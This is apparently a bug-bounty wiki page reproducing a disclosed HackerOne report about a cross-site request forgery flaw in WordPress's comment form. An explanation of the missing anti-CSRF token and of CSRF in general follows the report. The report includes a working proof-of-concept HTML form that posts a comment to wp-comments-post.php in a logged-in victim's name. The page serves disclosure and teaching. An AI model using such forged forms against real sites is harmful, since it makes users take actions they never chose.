Skip to content
CSRF Disclosed report Beginner

CSRF on comment post

A comment submission form on a WordPress installation accepted a cross-site POST request, so a page hosted elsewhere could make a visitor post a comment. An attacker could therefore make a victim comment on a post.

lamscun Follow

Originally disclosed on HackerOne

Medium 4.2 View original
  • Disclosed after 14 days

Hi Wordpress,

I just found an CSRF on comment post. It allow attacker make victim comments on a post.

Steps To Reproduce:

Attacker send to victim a link with content below:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/wordpress/wordpress-5.4.2/wordpress/wp-comments-post.php" method="POST">
      <input type="hidden" name="comment" value="csrf&#95;comment" />
      <input type="hidden" name="submit" value="Post&#32;Comment" />
      <input type="hidden" name="comment&#95;post&#95;ID" value="29" />
      <input type="hidden" name="comment&#95;parent" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Video poc:

Impact

Attacker make victim comments on a post.

The original report as published on HackerOne, by lamscun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the comment submission endpoint did not require or validate a per-session anti-CSRF token, so it accepted form posts originating from other sites.

Impact

An attacker could make a victim comment on a post, with the comment content chosen by the attacker.

What the attacker needed

Victim is logged in; victim opens an attacker link

How it was found

  1. The attacker prepares a page containing a form that posts to the site's comment endpoint with a chosen comment body and post ID.
  2. The attacker sends the link to a logged-in victim.
  3. The victim opens the link and submits the form, which posts to the comment endpoint.
  4. The comment is submitted to the post on the victim's behalf.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in to a site, your browser automatically sends your session cookie with every request to that site. Cross-site request forgery (CSRF) is when another website quietly submits a form to the target site in your name, and the target cannot tell it apart from a real click. Here the comment form had no secret per-form value (a token) to prove the request came from the site's own page, so a page on another domain could post a comment as the victim.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by lamscun

View all

4 more disclosed reports, best first.

More from WordPress

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.